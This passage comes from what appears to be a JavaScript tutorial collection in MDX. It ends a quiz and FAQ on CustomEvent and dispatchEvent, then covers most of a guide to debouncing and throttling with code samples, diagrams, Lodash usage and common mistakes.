Custom events have `bubbles: false` by default. To make it bubble up to the parent, add `bubbles: true`:\n    \n    ```javascript\n    child.dispatchEvent(new CustomEvent('notify', {\n      detail: { message: 'hello' },\n      bubbles: true\n    }))\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What does dispatchEvent return here?\">\n    ```javascript\n    const event = new CustomEvent('action', { cancelable: true })\n    \n    element.addEventListener('action', (e) => {\n      e.preventDefault()\n    })\n    \n    const result = element.dispatchEvent(event)\n    console.log(result)\n    ```\n    \n    **Answer:**\n    \n    `false`\n    \n    `dispatchEvent()` returns `false` when any listener calls `preventDefault()` on a cancelable event. This is useful for checking if an action should proceed.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: Why doesn't this work?\">\n    ```javascript\n    element.oncustomEvent = () => console.log('Fired!')\n    element.dispatchEvent(new CustomEvent('customEvent'))\n    ```\n    \n    **Answer:**\n    \n    Custom events don't have corresponding `on*` properties like native events do. The `oncustomEvent` property doesn't exist and is just set to a function that's never called.\n    \n    Use `addEventListener()` instead:\n    \n    ```javascript\n    element.addEventListener('customEvent', () => console.log('Fired!'))\n    element.dispatchEvent(new CustomEvent('customEvent'))\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What's the order of console logs?\">\n    ```javascript\n    console.log('1')\n    \n    document.addEventListener('test', () => console.log('2'))\n    \n    document.dispatchEvent(new CustomEvent('test'))\n    \n    console.log('3')\n    ```\n    \n    **Answer:**\n    \n    ```\n    1\n    2\n    3\n    ```\n    \n    Unlike native browser events, `dispatchEvent()` is **synchronous**. The event handler runs immediately when `dispatchEvent()` is called, before the next line executes.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How do you check if a custom event was canceled?\">\n    **Answer:**\n    \n    1. Create the event with `cancelable: true`\n    2. Check the return value of `dispatchEvent()`\n    \n    ```javascript\n    const event = new CustomEvent('beforeDelete', {\n      detail: { itemId: 123 },\n      cancelable: true\n    })\n    \n    element.addEventListener('beforeDelete', (e) => {\n      if (!userConfirmed) {\n        e.preventDefault()\n      }\n    })\n    \n    const shouldProceed = element.dispatchEvent(event)\n    \n    if (shouldProceed) {\n      deleteItem(123)\n    } else {\n      console.log('Deletion was canceled')\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"How do I create a custom event in JavaScript?\">\n    Use the `CustomEvent` constructor: `new CustomEvent('eventName', { detail: data })`. The `detail` property can hold any JavaScript value — objects, arrays, or primitives. Then dispatch it on any element with `element.dispatchEvent(event)`.\n  </Accordion>\n\n  <Accordion title=\"Do custom events bubble like native events?\">\n    No — custom events do not bubble by default. You must explicitly set `bubbles: true` in the options object to enable bubbling. Without it, only listeners directly on the dispatching element will receive the event, as documented in the W3C DOM specification.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between Event and CustomEvent?\">\n    `CustomEvent` extends `Event` with one key addition: the `detail` property for passing arbitrary data. If you don't need to send data to listeners, `new Event('name')` works fine. MDN recommends `CustomEvent` when you need to communicate data alongside the event.\n  </Accordion>\n\n  <Accordion title=\"Is dispatchEvent synchronous or asynchronous?\">\n    `dispatchEvent()` is synchronous — all listeners execute immediately before the method returns. This differs from native browser events, which are processed asynchronously through the event loop. You can use the return value of `dispatchEvent()` to check if any listener called `preventDefault()`.\n  </Accordion>\n\n  <Accordion title=\"Can I use onclick-style properties for custom events?\">\n    No. Custom events do not have corresponding `on*` properties like native events. `element.onmyEvent = handler` does nothing — you must use `addEventListener()` to listen for custom events. This is a common mistake MDN specifically warns about.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Event Bubbling & Capturing\" icon=\"arrow-up\" href=\"/beyond/concepts/event-bubbling-capturing\">\n    Understand how events propagate through the DOM tree\n  </Card>\n  <Card title=\"Event Delegation\" icon=\"hand-pointer\" href=\"/beyond/concepts/event-delegation\">\n    Handle events efficiently using bubbling and a single listener\n  </Card>\n  <Card title=\"DOM Manipulation\" icon=\"code\" href=\"/concepts/dom\">\n    Learn how to work with DOM elements and events\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"layer-group\" href=\"/concepts/higher-order-functions\">\n    Functions that work with other functions - useful for event handlers\n  </Card>\n</CardGroup>\n\n---\n\n## References\n\n<CardGroup cols={2}>\n  <Card title=\"CustomEvent - MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent\">\n    Official reference for the CustomEvent interface, constructor, and detail property\n  </Card>\n  <Card title=\"CustomEvent() Constructor - MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent\">\n    Detailed syntax and parameters for creating CustomEvent instances\n  </Card>\n  <Card title=\"dispatchEvent() - MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent\">\n    How to dispatch events on EventTarget objects with synchronous execution\n  </Card>\n  <Card title=\"Creating and Dispatching Events - MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Events\">\n    Comprehensive MDN guide covering event creation, bubbling, and registration\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Dispatching Custom Events - javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/dispatch-events\">\n    Comprehensive tutorial covering Event constructor, CustomEvent, bubbling, and synchronous dispatch behavior with interactive examples\n  </Card>\n  <Card title=\"Custom Events in JavaScript - LogRocket\" icon=\"newspaper\" href=\"https://blog.logrocket.com/custom-events-in-javascript-a-complete-guide/\">\n    Complete guide to custom events covering creation, dispatching, and real-world component communication patterns\n  </Card>\n  <Card title=\"Custom Events - David Walsh Blog\" icon=\"newspaper\" href=\"https://davidwalsh.name/customevent\">\n    Concise explanation of CustomEvent with clear code examples and browser compatibility notes\n  </Card>\n  <Card title=\"JavaScript Custom Events Tutorial\" icon=\"newspaper\" href=\"https://www.javascripttutorial.net/javascript-dom/javascript-custom-events/\">\n    Step-by-step tutorial covering CustomEvent basics with practical examples for DOM interactions\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Custom Events in JavaScript - Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=DzZXRvk3EGg\">\n    Clear 10-minute explanation of creating, dispatching, and listening for custom events with practical examples\n  </Card>\n  <Card title=\"JavaScript Custom Events - dcode\" icon=\"video\" href=\"https://www.youtube.com/watch?v=1onVnFfVxBI\">\n    Hands-on tutorial showing how to build decoupled component communication using CustomEvent\n  </Card>\n  <Card title=\"Create Custom Events in JavaScript - Florin Pop\" icon=\"video\" href=\"https://www.youtube.com/watch?v=jK9O-CKUE60\">\n    Quick beginner-friendly overview of the CustomEvent API with live coding demonstrations\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/debouncing-throttling.mdx",
    "content": "---\ntitle: \"Debouncing & Throttling in JS\"\nsidebarTitle: \"Debouncing & Throttling: Control Event Frequency\"\ndescription: \"Learn debouncing and throttling in JavaScript. Optimize event handlers, reduce API calls, and implement both patterns from scratch with real-world examples.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Memory & Performance\"\n\"article:tag\": \"debouncing throttling, event optimization, api calls, performance patterns, event handlers\"\n---\n\nWhat happens when a user types in a search box at 60 characters per minute? Or when they scroll through your page, triggering hundreds of events per second? Without proper handling, your application can grind to a halt, making unnecessary API calls or blocking the main thread with expensive computations.\n\n```javascript\n// Without debouncing: 60 API calls per minute while typing\nsearchInput.addEventListener('input', (e) => {\n  fetchSearchResults(e.target.value)  // Called on EVERY keystroke!\n})\n\n// With debouncing: 1 API call after user stops typing\nsearchInput.addEventListener('input', debounce((e) => {\n  fetchSearchResults(e.target.value)  // Called once, 300ms after last keystroke\n}, 300))\n```\n\n**[Debouncing](https://developer.mozilla.org/en-US/docs/Glossary/Debounce)** and **[throttling](https://developer.mozilla.org/en-US/docs/Glossary/Throttle)** are two techniques that control how often a function can execute. According to MDN, both patterns are essential for handling high-frequency events like scrolling, resizing, typing, and mouse movement without destroying your app's performance. The scroll event alone can fire hundreds of times per second on modern browsers.\n\n<Info>\n**What you'll learn in this guide:**\n- The difference between debouncing and throttling\n- When to use debounce vs throttle (with decision flowchart)\n- How to implement both patterns from scratch\n- Leading edge vs trailing edge execution\n- Real-world use cases: search, scroll, resize, button clicks\n- How to use Lodash for production-ready implementations\n- Common mistakes and how to avoid them\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [Closures](/concepts/scope-and-closures) and [Higher-Order Functions](/concepts/higher-order-functions). Both debounce and throttle are higher-order functions that use closures to maintain state between calls.\n</Warning>\n\n---\n\n## What is Debouncing?\n\n**Debouncing** delays the execution of a function until a specified time has passed since the last call. If the function is called again before the delay expires, the timer resets. The function only executes when the calls stop coming for the specified duration. Under the hood, debounce uses `setTimeout` to schedule the [callback](/concepts/callbacks) after the delay.\n\nThink of debouncing like an elevator door. When someone approaches, the door stays open. If another person arrives, the timer resets and the door stays open longer. The door only closes after no one has approached for a few seconds. The elevator optimizes by waiting for all passengers before moving.\n\n```javascript\nfunction debounce(fn, delay) {\n  let timeoutId\n  \n  return function(...args) {\n    // Clear any existing timer\n    clearTimeout(timeoutId)\n    \n    // Set a new timer\n    timeoutId = setTimeout(() => {\n      fn.apply(this, args)\n    }, delay)\n  }\n}\n\n// Usage: Only search after user stops typing for 300ms\nconst debouncedSearch = debounce((query) => {\n  console.log('Searching for:', query)\n  fetchSearchResults(query)\n}, 300)\n\ninput.addEventListener('input', (e) => {\n  debouncedSearch(e.target.value)\n})\n```\n\n### How Debounce Works Step by Step\n\nLet's trace through what happens when a user types \"hello\" quickly:\n\n```\nUser types:  h     e     l     l     o     [stops]\n             │     │     │     │     │         │\nTime (ms):   0    50   100   150   200       500\n             │     │     │     │     │         │\nTimer:     start  reset reset reset reset   FIRES!\n             │     │     │     │     │         │\n                                              └── fn('hello') executes\n```\n\n1. User types \"h\" — timer starts (300ms countdown)\n2. User types \"e\" (50ms later) — timer resets (new 300ms countdown)\n3. User types \"l\" (100ms later) — timer resets again\n4. User types another \"l\" (150ms later) — timer resets again\n5. User types \"o\" (200ms later) — timer resets again\n6. User stops typing — timer expires after 300ms\n7. **Function executes once** with \"hello\"\n\n<CardGroup cols={2}>\n  <Card title=\"Debounce — MDN Glossary\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Debounce\">\n    Official MDN definition of debouncing with examples\n  </Card>\n  <Card title=\"setTimeout — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/setTimeout\">\n    The timer API that powers debounce implementations\n  </Card>\n</CardGroup>\n\n---\n\n## What is Throttling?\n\n**Throttling** ensures a function executes at most once within a specified time interval. Unlike debouncing, throttling guarantees regular execution during continuous events — it doesn't wait for events to stop.\n\nThink of throttling like a water faucet with a flow restrictor. No matter how much you turn the handle, water only flows at a maximum rate. The restrictor ensures consistent output regardless of input pressure.\n\n```javascript\nfunction throttle(fn, interval) {\n  let lastTime = 0\n  \n  return function(...args) {\n    const now = Date.now()\n    \n    // Only execute if enough time has passed\n    if (now - lastTime >= interval) {\n      lastTime = now\n      fn.apply(this, args)\n    }\n  }\n}\n\n// Usage: Update position at most every 100ms while scrolling\nconst throttledScroll = throttle(() => {\n  console.log('Scroll position:', window.scrollY)\n  updateScrollIndicator()\n}, 100)\n\nwindow.addEventListener('scroll', throttledScroll)\n```\n\n### How Throttle Works Step by Step\n\nLet's trace through what happens during continuous scrolling:\n\n```\nScroll events: ─●──●──●──●──●──●──●──●──●──●──●──●──●──●──●─►\n               │  │  │  │  │  │  │  │  │  │  │  │  │  │  │\nTime (ms):     0  10 20 30 40 50 60 70 80 90 100 110 120...\n               │                          │              │\nExecutes:      ✓ (first call)             ✓ (100ms)      ✓ (200ms)\n               └──────────────────────────┴──────────────┴──►\n```\n\n1. First scroll event at 0ms — function executes immediately\n2. Events at 10ms, 20ms... 90ms — ignored (within 100ms window)\n3. Event at 100ms — function executes (100ms has passed)\n4. Events at 110ms, 120ms... 190ms — ignored\n5. Event at 200ms — function executes again\n\n**Key difference:** Throttle guarantees the function runs every X milliseconds during continuous activity. Debounce waits for activity to stop.\n\n<CardGroup cols={2}>\n  <Card title=\"Throttle — MDN Glossary\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Throttle\">\n    Official MDN definition of throttling with examples\n  </Card>\n  <Card title=\"Date.now() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now\">\n    The timestamp API used in throttle implementations\n  </Card>\n</CardGroup>\n\n---\n\n## Debounce vs Throttle: Visual Comparison\n\nHere's how they differ when handling the same stream of events:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                    DEBOUNCE VS THROTTLE COMPARISON                           │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│  Raw Events (e.g., keystrokes, scroll):                                      │\n│  ─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●───────────●─●─●─●─●────────►              │\n│   └─────────────────────────────┘           └─────────┘                      │\n│         Burst 1                               Burst 2                        │\n│                                                                              │\n│  ─────────────────────────────────────────────────────────────────────────── │\n│                                                                              │\n│  DEBOUNCE (300ms):                                                           │\n│  Waits for events to stop, then fires once                                   │\n│                                                                              │\n│  ────────────────────────────────────●────────────────────●────────►        │\n│                                      │                    │                  │\n│                                   Fires!               Fires!                │\n│                            (300ms after              (300ms after            │\n│                             last event)               last event)            │\n│                                                                              │\n│  ─────────────────────────────────────────────────────────────────────────── │\n│                                                                              │\n│  THROTTLE (100ms):                                                           │\n│  Fires at regular intervals during activity                                  │\n│                                                                              │\n│  ─●───────●───────●───────●───────●────────●───────●───────●────►           │\n│   │       │       │       │       │        │       │       │                 │\n│   0ms    100ms   200ms   300ms   400ms   ...ms    ...ms   ...ms             │\n│                                                                              │\n│  Guarantees execution every 100ms while events continue                      │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n| Aspect | Debounce | Throttle |\n|--------|----------|----------|\n| **Executes** | After events stop | During events, at intervals |\n| **Guarantees** | Single execution per burst | Regular execution rate |\n| **Best for** | Final value matters (search) | Continuous updates (scroll position) |\n| **During 1000ms of events** | 1 execution (at end) | ~10 executions (every 100ms) |\n\n---\n\n## When to Use Which: Decision Flowchart\n\nUse this flowchart to decide between debounce and throttle:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                       WHICH TECHNIQUE SHOULD I USE?                          │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│                    ┌─────────────────────────┐                               │\n│                    │  You have a function    │                               │\n│                    │  being called too often │                               │\n│                    └───────────┬─────────────┘                               │\n│                                │                                             │\n│                                ▼                                             │\n│           ┌────────────────────────────────────────┐                         │\n│           │  Do you need updates DURING activity?  │                         │\n│           └────────────────────┬───────────────────┘                         │\n│                    ┌───────────┴───────────┐                                 │\n│                    │                       │                                 │\n│                   YES                      NO                                │\n│                    │                       │                                 │\n│                    ▼                       ▼                                 │\n│          ┌─────────────────┐     ┌─────────────────────┐                     │\n│          │    THROTTLE     │     │  Do you only care   │                     │\n│          │                 │     │  about the FINAL    │                     │\n│          │  • Scroll       │     │  value?             │                     │\n│          │  • Resize       │     └──────────┬──────────┘                     │\n│          │  • Mouse move   │           ┌────┴────┐                           │\n│          │  • Game loops   │          YES       NO                           │\n│          │  • Progress     │           │         │                           │\n│          │                 │           ▼         ▼                           │\n│          └─────────────────┘  ┌────────────┐ ┌────────────┐                  │\n│                               │  DEBOUNCE  │ │  Consider  │                  │\n│                               │            │ │  both or   │                  │\n│                               │ • Search   │ │  leading   │                  │\n│                               │ • Auto-save│ │  debounce  │                  │\n│                               │ • Validate │ │            │                  │\n│                               │ • Resize   │ └────────────┘                  │\n│                               │   (final)  │                                 │\n│                               └────────────┘                                 │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n### Common Use Cases\n\n| Use Case | Technique | Why |\n|----------|-----------|-----|\n| **Search autocomplete** | Debounce | Only fetch after user stops typing |\n| **Form validation** | Debounce | Validate after user finishes input |\n| **Auto-save drafts** | Debounce | Save after user pauses editing |\n| **Window resize layout** | Debounce | Recalculate once at final size |\n| **Scroll position tracking** | Throttle | Need regular position updates |\n| **Infinite scroll** | Throttle | Check proximity to bottom regularly |\n| **Mouse move tooltips** | Throttle | Update position smoothly |\n| **Rate-limited API calls** | Throttle | Respect API rate limits |\n| **Button click (prevent double)** | Debounce (leading) | Execute first click, ignore rapid repeats |\n| **Live preview** | Throttle | Show changes without lag |\n\n---\n\n## Leading vs Trailing Edge\n\nBoth debounce and throttle can execute on the **leading edge** (immediately on first call) or **trailing edge** (after delay/at end of interval). Some implementations support both.\n\n### Trailing Edge (Default)\n\nThe function executes **after** the delay/interval. This is the default behavior shown above.\n\n```javascript\n// Trailing debounce: executes AFTER user stops typing\nconst trailingDebounce = debounce(search, 300)\n\n// Timeline: type \"hi\" → wait 300ms → search(\"hi\") executes\n```\n\n### Leading Edge\n\nThe function executes **immediately** on the first call, then ignores subsequent calls until the delay expires.\n\n```javascript\nfunction debounceLeading(fn, delay) {\n  let timeoutId\n  \n  return function(...args) {\n    // Execute immediately if no pending timeout\n    if (!timeoutId) {\n      fn.apply(this, args)\n    }\n    \n    // Clear and reset the timeout\n    clearTimeout(timeoutId)\n    timeoutId = setTimeout(() => {\n      timeoutId = null  // Allow next leading call\n    }, delay)\n  }\n}\n\n// Usage: Prevent double-click on submit button\nconst handleSubmit = debounceLeading(() => {\n  console.log('Form submitted!')\n  submitForm()\n}, 1000)\n\nsubmitButton.addEventListener('click', handleSubmit)\n// First click: submits immediately\n// Rapid clicks: ignored for 1 second\n```\n\n### Leading Edge Throttle\n\n```javascript\nfunction throttleLeading(fn, interval) {\n  let lastTime = 0\n  \n  return function(...args) {\n    const now = Date.now()\n    \n    if (now - lastTime >= interval) {\n      lastTime = now\n      fn.apply(this, args)\n    }\n  }\n}\n\n// This is actually the same as our basic throttle!\n// Throttle naturally executes on leading edge\n```\n\n### Both Edges\n\nFor maximum responsiveness, execute on both leading AND trailing edges:\n\n```javascript\nfunction debounceBothEdges(fn, delay) {\n  let timeoutId\n  let lastCallTime = 0\n  \n  return function(...args) {\n    const now = Date.now()\n    const timeSinceLastCall = now - lastCallTime\n    \n    // Leading edge: execute if enough time has passed\n    if (timeSinceLastCall >= delay) {\n      fn.apply(this, args)\n    }\n    \n    lastCallTime = now\n    \n    // Trailing edge: also execute after delay\n    clearTimeout(timeoutId)\n    timeoutId = setTimeout(() => {\n      fn.apply(this, args)\n      lastCallTime = Date.now()\n    }, delay)\n  }\n}\n```\n\n---\n\n## Production-Ready Implementations\n\nHere are more robust implementations with additional features:\n\n### Enhanced Debounce with Cancel\n\n```javascript\nfunction debounce(fn, delay, options = {}) {\n  let timeoutId\n  let lastArgs\n  let lastThis\n  \n  const { leading = false, trailing = true } = options\n  \n  function debounced(...args) {\n    lastArgs = args\n    lastThis = this\n    \n    const invokeLeading = leading && !timeoutId\n    \n    clearTimeout(timeoutId)\n    \n    timeoutId = setTimeout(() => {\n      timeoutId = null\n      if (trailing && lastArgs) {\n        fn.apply(lastThis, lastArgs)\n        lastArgs = null\n        lastThis = null\n      }\n    }, delay)\n    \n    if (invokeLeading) {\n      fn.apply(this, args)\n    }\n  }\n  \n  debounced.cancel = function() {\n    clearTimeout(timeoutId)\n    timeoutId = null\n    lastArgs = null\n    lastThis = null\n  }\n  \n  debounced.flush = function() {\n    if (timeoutId && lastArgs) {\n      fn.apply(lastThis, lastArgs)\n      debounced.cancel()\n    }\n  }\n  \n  return debounced\n}\n\n// Usage\nconst debouncedSave = debounce(saveDocument, 1000, { leading: true, trailing: true })\n\n// Cancel pending execution\ndebouncedSave.cancel()\n\n// Execute immediately\ndebouncedSave.flush()\n```\n\n### Enhanced Throttle with Trailing Call\n\n```javascript\nfunction throttle(fn, interval, options = {}) {\n  let lastTime = 0\n  let timeoutId\n  let lastArgs\n  let lastThis\n  \n  const { leading = true, trailing = true } = options\n  \n  function throttled(...args) {\n    const now = Date.now()\n    const timeSinceLastCall = now - lastTime\n    \n    lastArgs = args\n    lastThis = this\n    \n    // Leading edge\n    if (timeSinceLastCall >= interval) {\n      if (leading) {\n        lastTime = now\n        fn.apply(this, args)\n      }\n    }\n    \n    // Schedule trailing edge\n    if (trailing) {\n      clearTimeout(timeoutId)\n      timeoutId = setTimeout(() => {\n        if (Date.now() - lastTime >= interval && lastArgs) {\n          lastTime = Date.now()\n          fn.apply(lastThis, lastArgs)\n          lastArgs = null\n          lastThis = null\n        }\n      }, interval - timeSinceLastCall)\n    }\n  }\n  \n  throttled.cancel = function() {\n    clearTimeout(timeoutId)\n    lastTime = 0\n    timeoutId = null\n    lastArgs = null\n    lastThis = null\n  }\n  \n  return throttled\n}\n```\n\n---\n\n## Using Lodash in Production\n\nFor production applications, use battle-tested libraries like [Lodash](https://lodash.com/). With over 30 million weekly npm downloads, Lodash's debounce and throttle implementations handle edge cases, provide TypeScript types, and are thoroughly tested across thousands of production applications.\n\n### Installation\n\n```bash\n# Full library\nnpm install lodash\n\n# Or just the functions you need\nnpm install lodash.debounce lodash.throttle\n```\n\n### Basic Usage\n\n```javascript\nimport debounce from 'lodash/debounce'\nimport throttle from 'lodash/throttle'\n\n// Debounce with options\nconst debouncedSearch = debounce(search, 300, {\n  leading: false,   // Don't execute on first call\n  trailing: true,   // Execute after delay (default)\n  maxWait: 1000     // Maximum time to wait (forces execution)\n})\n\n// Throttle with options\nconst throttledScroll = throttle(updateScrollPosition, 100, {\n  leading: true,    // Execute on first call (default)\n  trailing: true    // Also execute at end of interval (default)\n})\n\n// Cancel pending execution\ndebouncedSearch.cancel()\n\n// Execute immediately\ndebouncedSearch.flush()\n```\n\n### The maxWait Option\n\nLodash's debounce has a powerful `maxWait` option that sets a maximum time the function can be delayed:\n\n```javascript\nimport debounce from 'lodash/debounce'\n\n// Search after typing stops, BUT at least every 2 seconds\nconst debouncedSearch = debounce(search, 300, {\n  maxWait: 2000  // Force execution after 2 seconds of continuous typing\n})\n```\n\nThis is essentially debounce + throttle combined. Useful when you want responsiveness during long bursts of activity.\n\n<Tip>\n**Fun fact:** Lodash's `throttle` is actually implemented using `debounce` with the `maxWait` option set equal to the wait time. Check the [source code](https://github.com/lodash/lodash/blob/main/src/throttle.ts)!\n</Tip>\n\n---\n\n## Real-World Examples\n\n### Search Autocomplete\n\n```javascript\nimport debounce from 'lodash/debounce'\n\nconst searchInput = document.getElementById('search')\nconst resultsContainer = document.getElementById('results')\n\nasync function fetchResults(query) {\n  if (!query.trim()) {\n    resultsContainer.innerHTML = ''\n    return\n  }\n  \n  try {\n    const response = await fetch(`/api/search?q=${encodeURIComponent(query)}`)\n    const results = await response.json()\n    renderResults(results)\n  } catch (error) {\n    console.error('Search failed:', error)\n  }\n}\n\n// Only search 300ms after user stops typing\nconst debouncedFetch = debounce(fetchResults, 300)\n\nsearchInput.addEventListener('input', (e) => {\n  debouncedFetch(e.target.value)\n})\n```\n\n### Infinite Scroll\n\n```javascript\nimport throttle from 'lodash/throttle'\n\nfunction checkScrollPosition() {\n  const scrollPosition = window.scrollY + window.innerHeight\n  const documentHeight = document.documentElement.scrollHeight\n  \n  // Load more when within 200px of bottom\n  if (documentHeight - scrollPosition < 200) {\n    loadMoreContent()\n  }\n}\n\n// Check position every 100ms while scrolling\nconst throttledCheck = throttle(checkScrollPosition, 100)\n\nwindow.addEventListener('scroll', throttledCheck)\n\n// Cleanup on unmount\nfunction cleanup() {\n  window.removeEventListener('scroll', throttledCheck)\n  throttledCheck.cancel()\n}\n```\n\n### Window Resize Handler\n\n```javascript\nimport debounce from 'lodash/debounce'\n\nfunction recalculateLayout() {\n  const width = window.innerWidth\n  const height = window.innerHeight\n  \n  // Expensive layout calculations\n  updateGridColumns(width)\n  resizeCharts(width, height)\n  repositionElements()\n}\n\n// Only recalculate after user stops resizing\nconst debouncedResize = debounce(recalculateLayout, 250)\n\nwindow.addEventListener('resize', debouncedResize)\n```\n\n### Prevent Double Submit\n\n```javascript\nimport debounce from 'lodash/debounce'\n\nconst form = document.getElementById('checkout-form')\n\nasync function submitOrder(formData) {\n  const response = await fetch('/api/orders', {\n    method: 'POST',\n    body: formData\n  })\n  \n  if (response.ok) {\n    window.location.href = '/order-confirmation'\n  }\n}\n\n// Execute immediately, ignore clicks for 2 seconds\nconst debouncedSubmit = debounce(submitOrder, 2000, {\n  leading: true,\n  trailing: false\n})\n\nform.addEventListener('submit', (e) => {\n  e.preventDefault()\n  debouncedSubmit(new FormData(form))\n})\n```\n\n### Mouse Move Tooltip\n\n```javascript\nimport throttle from 'lodash/throttle'\n\nconst tooltip = document.getElementById('tooltip')\n\nfunction updateTooltipPosition(x, y) {\n  tooltip.style.left = `${x + 10}px`\n  tooltip.style.top = `${y + 10}px`\n}\n\n// Update tooltip position every 16ms (60fps)\nconst throttledUpdate = throttle(updateTooltipPosition, 16)\n\ndocument.addEventListener('mousemove', (e) => {\n  throttledUpdate(e.clientX, e.clientY)\n})\n```\n\n---\n\n## requestAnimationFrame Alternative\n\nFor visual updates tied to rendering (animations, scroll effects), [`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame) is often better than throttle. As web.dev's rendering performance guide explains, rAF syncs with the browser's repaint cycle (typically 60fps ≈ 16ms) and is scheduled by the [event loop](/concepts/event-loop) as a special render-related callback.\n\n```javascript\nfunction throttleWithRAF(fn) {\n  let ticking = false\n  let lastArgs\n  \n  return function(...args) {\n    lastArgs = args\n    \n    if (!ticking) {\n      ticking = true\n      \n      requestAnimationFrame(() => {\n        fn.apply(this, lastArgs)\n        ticking = false\n      })\n    }\n  }\n}\n\n// Usage: Smooth scroll-linked animations\nconst updateScrollAnimation = throttleWithRAF(() => {\n  const scrollPercent = window.scrollY / (document.documentElement.scrollHeight - window.innerHeight)\n  progressBar.style.width = `${scrollPercent * 100}%`\n  parallaxElement.style.transform = `translateY(${scrollPercent * 100}px)`\n})\n\nwindow.addEventListener('scroll', updateScrollAnimation)\n```\n\n**When to use rAF vs throttle:**\n\n| Use rAF when... | Use throttle when... |\n|-----------------|---------------------|\n| Animating DOM elements | Rate-limiting API calls |\n| Scroll-linked visual effects | Infinite scroll loading |\n| Canvas/WebGL rendering | Analytics event tracking |\n| Parallax effects | Form validation |\n\n---\n\n## Common Mistakes\n\n### Mistake 1: Creating New Debounced Functions Each Time\n\n```javascript\n// ❌ WRONG: Creates a new debounced function on every call\nelement.addEventListener('input', (e) => {\n  debounce(handleInput, 300)(e)  // This doesn't work!\n})\n\n// ✓ CORRECT: Create once, reuse\nconst debouncedHandler = debounce(handleInput, 300)\nelement.addEventListener('input', debouncedHandler)\n```\n\n### Mistake 2: Forgetting to Clean Up\n\n```javascript\n// ❌ WRONG: Memory leak in React/Vue/etc.\nuseEffect(() => {\n  const handler = throttle(handleScroll, 100)\n  window.addEventListener('scroll', handler)\n}, [])\n\n// ✓ CORRECT: Clean up on unmount\nuseEffect(() => {\n  const handler = throttle(handleScroll, 100)\n  window.addEventListener('scroll', handler)\n  \n  return () => {\n    window.removeEventListener('scroll', handler)\n    handler.cancel()  // Cancel any pending calls\n  }\n}, [])\n```\n\n### Mistake 3: Wrong Technique for the Job\n\n```javascript\n// ❌ WRONG: Debounce for scroll position tracking\n// User won't see smooth updates, only final position\nwindow.addEventListener('scroll', debounce(updatePosition, 100))\n\n// ✓ CORRECT: Throttle for continuous visual updates\nwindow.addEventListener('scroll', throttle(updatePosition, 100))\n\n// ❌ WRONG: Throttle for search autocomplete\n// Unnecessary API calls while user is still typing\ninput.addEventListener('input', throttle(search, 300))\n\n// ✓ CORRECT: Debounce for search (only when typing stops)\ninput.addEventListener('input', debounce(search, 300))\n```\n\n### Mistake 4: Losing `this` Context\n\n```javascript\n// ❌ WRONG: Arrow function preserves wrong `this`\nclass SearchComponent {\n  constructor() {\n    this.query = ''\n  }\n  \n  handleInput = debounce(() => {\n    console.log(this.query)  // Works, but...\n  }, 300)\n}\n\n// ❌ WRONG: Method loses `this` when passed as callback\nclass SearchComponent {\n  handleInput() {\n    console.log(this.query)  // `this` is undefined!\n  }\n}\nconst component = new SearchComponent()\ninput.addEventListener('input', debounce(component.handleInput, 300))\n\n// ✓ CORRECT: Bind the method\ninput.addEventListener('input', debounce(component.handleInput.bind(component), 300))\n\n// ✓ ALSO CORRECT: Wrap in arrow function\ninput.addEventListener('input', debounce((e) => component.handleInput(e), 300))\n```\n\n### Mistake 5: Choosing the Wrong Delay\n\n```javascript\n// ❌ TOO SHORT: Defeats the purpose\ndebounce(search, 50)  // Still makes many API calls\n\n// ❌ TOO LONG: Feels unresponsive\ndebounce(search, 1000)  // User waits 1 second for results\n\n// ✓ GOOD: Balance between responsiveness and efficiency\ndebounce(search, 250)  // 250-400ms is typical for search\nthrottle(scroll, 100)   // 100-150ms for scroll (smooth but efficient)\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Debounce waits for silence** — It delays execution until events stop coming for a specified duration. Use it when you only care about the final value.\n\n2. **Throttle maintains rhythm** — It ensures execution happens at most once per interval, even during continuous events. Use it when you need regular updates.\n\n3. **Leading vs trailing** — Leading executes immediately on first call; trailing executes after the delay. You can use both for maximum responsiveness.\n\n4. **Use Lodash in production** — Battle-tested implementations with TypeScript types, cancel methods, and edge case handling.\n\n5. **Create debounced/throttled 